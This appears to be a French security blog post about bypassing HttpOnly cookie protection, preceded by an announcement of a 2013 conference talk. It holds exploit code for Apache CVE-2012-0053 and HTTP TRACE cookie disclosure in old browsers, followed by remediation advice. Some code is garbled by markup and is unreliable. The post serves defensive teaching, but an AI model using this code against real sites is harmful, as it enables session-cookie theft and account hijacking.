Présentation: 4 contre-mesures pour renforcer la sécurité de son application web coté client

html5-securityAujourd’hui avec tous les types d’attaques visant le coté client, la sécurité des applications web devient un sujet très sérieux à partir du moment où les interactions client/serveur transitent des données sensibles ayant trait à la vie privée des utilisateurs.

Les éditeurs de logiciels, et plus particulièrement des navigateurs, ont constamment contribué pour mettre en place des standards visant à renforcer la sécurité du coté client.

Dans cette présentation, on verra 4 contre-mesures pratiques permettant de sécuriser vos applications web contre les attaques les plus répondues.

C’était le sujet de ma présentation lors de la journée de la sécurité informatique organisée à l’université internationale d’Agadir Univerpolis par les étudiants de l’école polytechnique sous le thème : « enjeux et défis universels ». la conférence s’est déroulé le Samedi 18 Mai 2013

Je partage donc avec vous ma présentation, tout en vous réservant une série d’articles traitant chaque contre-mesure de façon détaillée, ci-dessous les grandes lignes de ma présentation:

  • Sécuriser la communication client-serveur
  • Limiter les attaques par injection de script
  • Insérer du contenu de manière sécurisée
  • Bien définir les interactions cross-domain

Bonne lecture et restez branchés pour la suite!

Comment contourner HttpOnly?

Avant d’entrer dans le vif du sujet, il est important de faire la différence entre un simple Cookie, et un HttpCookie car il s’agit de deux notions complétement différentes, un Cookie représente des données envoyés par un serveur web et stocké dans un fichier texte par le biais d’un navigateur web, il peut être aussi manipulé avec du code Javascript ou des entêtes HTTP contenus dans les réponses en provenance d’un serveur WEB.

Un cookie HttpOnly ou HttpCookie a la particularité d’être accessible seulement via HTTP(s), l’accès à cet élément est restreins à tous les non HTTP-APIs comme JavaScript. Les cookies HTTPOnly sont généralement utilisés pour conserver les informations d’authentification afin de protéger ces dernières contre les attaques XSS, cet article a pour but de vous montrer comment est ce possible de contourner cette protection, et aussi comment remédier à ce genre d’attaque.

Notions de bases

Syntaxe

[code]Set-Cookie: =[; =]
[; expires=][; domain=]
[; path=][; secure][; HttpOnly][/code]

Exemple 1:

[code]Set-Cookie: wordpress_f8bee1a788233546681a64908c37c3a0=admin|134982|876946033fb3e2e16f2810d55945ddb4ce29; Expires=Wed, 09 Jun 2021 10:18:14 GMT; domain=www.mcherifi.org; path=/; Secure[/code]

Si on exécute le code

<script>alert(document.cookie)</script>

Le résultat affichera :

wordpress_f8bee1a788233546681a64908c37c3a0=admin|134982|876946033fb3e2e16f2810d55945ddb4ce29;

Exemple 2

[code]Set-Cookie: wordpress_f8bee1a788233546681a64908c37c3a0=admin|134982|876946033fb3e2e16f2810d55945ddb4ce29; Expires=Wed, 09 Jun 2021 10:18:14 GMT; domain=www.mcherifi.org; path=/; Secure; HttpOnly[/code]

Maintenant si on ré-exécute le code

<script>alert(document.cookie)</script>

Le résultat sera une boite de dialogue affichant un message vide, en effet le flag HttpOnly rend les cookies inaccessibles par JavaScript. toute-fois, il est possible dans certains cas de contourner cette protection et extraire le contenu de ces cookies.

Apache httpOnly Cookie Disclosure (CVE: 2012-0053)

Les versions d’Apache entre 2.2.x et 2.2.21 sont vulnérables, en effet lorsqu’on envoie une requête HTTP mal formée, Apache retourne en en réponse un message d’erreur 400 (Bad Request), pour le bonheur des hackers, cette réponse contient les entêtes HTTP y compris les cookies ayant le flag HttpOnly.

La méthode la plus simple consiste à envoyer une requête avec une entête volumineuse qui dépasse la longueur autorisée par Apache:

[code lang=javascript]// Set cookies
//
for (i = 0; i < 10; i++) { if (good) { var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;"; } // Set evil cookie else { var cookie = "xss"+i+"="+str+";path=/"; } document.cookie = cookie; }[/code] En revisitant le site en question, on verra bien une page d'erreur 400 (Bad Request) avec le contenu de tous les cookies, il suffit d'un bout de code javascript pour "parser" cette réponse et récupérer les informations, puis les envoyer à un serveur (comme dans le bon vieux temps), ci-dessous un exemple: [code lang=javascript]function parseCookies () { var cookie_dict = {}; // Only react on 400 status if (xhr.readyState === 4 && xhr.status === 400) { // Replace newlines and match

 content
var content = xhr.responseText.replace(/\r|\n/g,”).match(/

(.+)<\/pre>/);
if (content.length) {
// Remove Cookie: prefix
content = content[1].replace("Cookie: ", "");
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
// Add cookies to object
for (var i=0; iFireFox 8 et le plugin Java 7u1

Les navigateurs aussi n'ont pas échappé à cette problématique, cette fois-ci Firefox avec le plugins Java 7u1 qui ne filtre vérifie pas le flag httpOnly avant d'afficher le contenu des entêtes HTTP, ci-dessous une vidéo illustrant son exploitation.

La méthode HTTP Trace

TRACE' est méthode pour envoyer des requetes HTTP, elle permet d'afficher en retour la réponse du serveur en plus de la requête envoyée initialement par l'utilisateur. Le risque réside dans le fait que la réponse contient également les entêtes HTTP (évidement avec les cookies HttpOnly), comme dans l'exemple précédant, il est possible d'utiliser du javascript ou un plugins (Java/Flash) pour exploiter cette faille, voici quelques exemples:

XMLHttpRequest (IE 6) et anciens navigateurs

[code]function trace()
{

var http_request = false;
if (window.XMLHttpRequest)
http_request = new XMLHttpRequest(); //Tout sauf IE else if (window.ActiveXObject)
try {
http_request = new ActiveXObject("Msxml2.XMLHTTP"); //IE > 6 } catch (e) {
try {
http_request = new ActiveXObject("Microsoft.XMLHTTP"); //IE <= 6 } catch (e) {} } if (http_request) { http_request.open("TRACE","/",false); http_request.send(); alert(http_request.responseText); } } [/code]

Opera 9.64

[code lang=javascript]
function javacon(url)
{
javaurl = new java.net.URL(url);
conn = javaurl.openConnection();
conn.setRequestMethod('TRACE');
var response = '';
input = conn.getInputStream();
var lnr = new java.io.LineNumberReader(new java.io.InputStreamReader(input));
while ((n = lnr.readLine()) != null) response += n + '\n ';
return response;
}

alert(javacon(location.href));
[/code]

Safari 4.0.3, en utilisant un applet Java

[code]RequestProperty.java

import java.applet.*;
import java.net.*;
import java.io.*;

public class RequestProperty extends Applet
{
public void start()
{
try {
URL url = getCodeBase();
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
InputStream inp;
try {
conn.getInputStream(); // method GET
}
catch (IOException ee)
{
conn.getErrorStream();
}
String cookie = conn.getRequestProperty("Cookie");
getAppletContext().showDocument(new URL("javascript:alert('"+cookie+"');"));
}
catch (Exception e){}
}
}

[/code]

Pourquoi c'est dangereux?

La faille en question (CVE: 2012-0053) permet de ré-exploiter les XSS pour d'obtenir les sessions authentification mais aussi en la combinant avec d'autres vecteurs d'attaques (XSRF, ClickJacking) l'attaquant peut pousser son attaque à un très haut niveau, Abysssec Security Research ont déjà réussi à exploiter les fonctionnalités d'administrateurs sur WordPress en combinant ClickJacking+CVE: 2012-0053, démo et vidéo dans cet article

Comment y remédier?

L'échange des cookies httpOnly se fait à plusieurs niveaux (navigateurs, serveurs web, réseaux), Il est clair qu'une sécurité totale n'existe pas, toute-fois il faut penser à prendre un minimum de mesures pour y remédier:

  • Coté Client: Mettez à jour vos navigateurs régulièrement ainsi que les plugins tiers (Java/Flash/etc..)
  • Coté Serveur: Mettre à jour son serveur apache à une version >= 2.2.22
  • Ne pas hésiter à implémenter CSP dans ses sites
  • Si la méthode TRACE est activée au niveau de votre serveur WEB, pensez à la désactiver, vous pouvez aussi le faire via un .htaccess:

    RewriteEngine On
    RewriteCond %{REQUEST_METHOD} ^TRACE
    RewriteRule .* - [F]" - www.yoursite.com

Voilà, cette liste n'est donc pas exhaustive, n'hésitez pas à partager vos méthodes pour outrepasser HttpOnly ;)